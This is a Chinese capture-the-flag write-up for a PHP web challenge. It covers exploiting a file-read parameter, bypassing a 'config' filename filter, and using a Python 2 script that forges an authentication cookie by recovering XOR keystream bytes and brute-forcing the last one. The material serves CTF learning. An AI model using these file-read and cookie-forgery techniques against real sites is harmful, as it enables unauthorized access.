index.php通过jpg参数读取hei.jpg。查看前端代码可以发现,图片是以base64形式显示的。
- 思路1:图片隐藏数据,使用steghide工具查看未果
- 思路2:通过jpg参数进行文件读取,这里读取了index.php
图片是可以进行base64编码的,可以使用图片的base64编码来显示图片 参考:https://blog.csdn.net/kukudehui/article/details/80409522 https://www.cnblogs.com/coco1s/p/4375774.html
访问:xxx.index.php?jpg=index.php
,得到index.php的编码结果,如下图所示
进行base64解码,得到:
**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
header('content-type:text/html;charset=utf-8');
if (!isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:' . $file . '</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
$file = str_replace("config", "_", $file);
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
/*
* Can you find the flag file?
*
*/
通过代码我们也可以发现存在base64编码操作。在注释中提到,项目是通过PhpStromIDE编写的。这里的考点在于通过phpstrom编写的项目都会有一个.idea的隐藏文件夹,这个文件夹里存放一些配置信息。通过里面的配置信息我们可以知道当前文件夹有哪些php文件。
- 访问config.php页面空白,由于index.php的代码处理,我们读取不了config.php的源码
- 访问fl3g_ichuqiu.php,页面出现一个表情符号,无果。既然执行没有结果,我们可以看一下代码
通过jpg参数读取fl3gichuqiu.php的源码。
这里需要注意直接访问/index.php?jpg=fl3g_ichuqiu.php
是无效的。因为index.php的正则将`替换为空字符串。由index.php代码可知,字符串config会被替换为
_`。于是可以这样处理
/index.php?jpg=fl3gconfigichuqiu.php
进行base64解码后得到
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
function encrypt($txt,$key){
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$txt = $tmp;
$rnd=random(4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$ttmp .= $txt[$i] ^ $key[++$s];
}
return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
$txt=base64_decode($txt);
$rnd = substr($txt,0,4);
$txt = substr($txt,4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$tmp .= $txt[$i]^$key[++$s];
}
for($i=0;$i<strlen($tmp);$i++){
$tmp1 .= chr(ord($tmp[$i])-10);
}
return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
echo $flag;
}else{
setcookie('user',encrypt('guest',$key));
echo "â®(â¯â½â°)â";
}
?>
- $key是固定的,在config.php中定义,由于无法看到config.php的源码,所以不知道$key的值
- 加密过程
- 对明文的每个字符的ascii码做+10操作,得到$tmp
- 4位随机字符rnd与$key做字符串拼接,取它们的md5值
- 使用md5值与$tmp做异或运算,将运算结果与rnd连接得到ttmp,最后对ttmp进行base64编码处理
- 解密过程(加密过程可逆)
- 对密文base64解密得到$txt,取txt前4位字符得到rnd,取4位往后字符串得到ttmp
- rnd与key(知道的情况下)拼接再md5得到新key
- 由异或运算原理,将ttmp与key异或得到tmp,将tmp每个字符的ascii码值减10,得到明文
这题中key值未知,所以无法正常解密。我们知道,如果已知密文,我们可以解出rnd,而key是固定的,所以md5($rnd.$key)的值也是可以知道的。这里的知道,指的是部分或全部,为什么呢?因为md5()加密后是32位,实际用到几位由明文的位数决定,由setcookie('user',encrypt('guest',$key));
我们可以得到明文是5位,那么由异或运算我们就能得到md5($rnd.$key)32位中的前5位。题目中需要得到得到明文为’system’的密文,这里的system是6位,所以需要6位的md5($rnd.$key)值就可以加密system
加密只需得到md5($rnd.$key)的部分或全部值就可以了(长度取决于明文),在题目中并不需要知道$key真实值 给出任意的密文知道md5($rnd.$key)值就可以解密
知晓原理后编写脚本,python3写的脚本编码有问题,这里给出python2的脚本
#-*-coding:utf8
# Created by python2
# 知晓加密和解密原理后,编写脚本
import requests
from base64 import *
url = "http://705aa45d421c4886a0b46cccfb2120467a00c68713034d0a.changame.ichunqiu.com/fl3g_ichuqiu.php"
cookie_user = requests.get(url).cookies['user'] # 得到user对应的值
txt = b64decode(cookie_user) # 对cookie值进行解码
rnd = txt[:4] # 获取密文前四个字符作为rnd,使用该rnd对system进行加密
ttmp = txt[4:] # len(ttmp) ==> 5,由于加密system需要六位,这里可以利用题目的5位+1位爆破
guest = list("guest")
system = list('system')
key = list('xxxxxx') # key初始化字符串,需要6位key
# 对guest和system的每个字符进行+10处理
for i in range(len(guest)):
guest[i] = chr(ord(guest[i]) + 10)
for i in range(len(system)):
system[i] = chr(ord(system[i]) + 10)
# 利用异或等式 b^c^b == c,求出前5位key
for i in range(len(guest)):
key[i] = chr(ord(ttmp[i]) ^ ord(guest[i]))
# 还有一位通过爆破来得到,由于md5是由16进制数组成的,所以,爆破字符串取值为0-9,a-f
letters = "0123456789abcdef"
cookie_system=[]
for i in letters:
key[5] = i # 得到6位key
ttmp_new = ''
for j in range(len(system)):
ttmp_new += chr(ord(system[j]) ^ ord(key[j])) # 用6位key爆破
str = rnd +ttmp_new
cookie_system.append(b64encode(str))
for user in cookie_system:
cookies = {'user':user}
result = requests.get(url,cookies=cookies)
print result.content
收获与思考
- phpstorm编写的程序自带.idea文件,该文件中的配置信息存有目录文件信息等
- 本题中的加解密并不复杂,但需要有耐心去做
- 有文件相关的get参数可以尝试文件读取或文件包含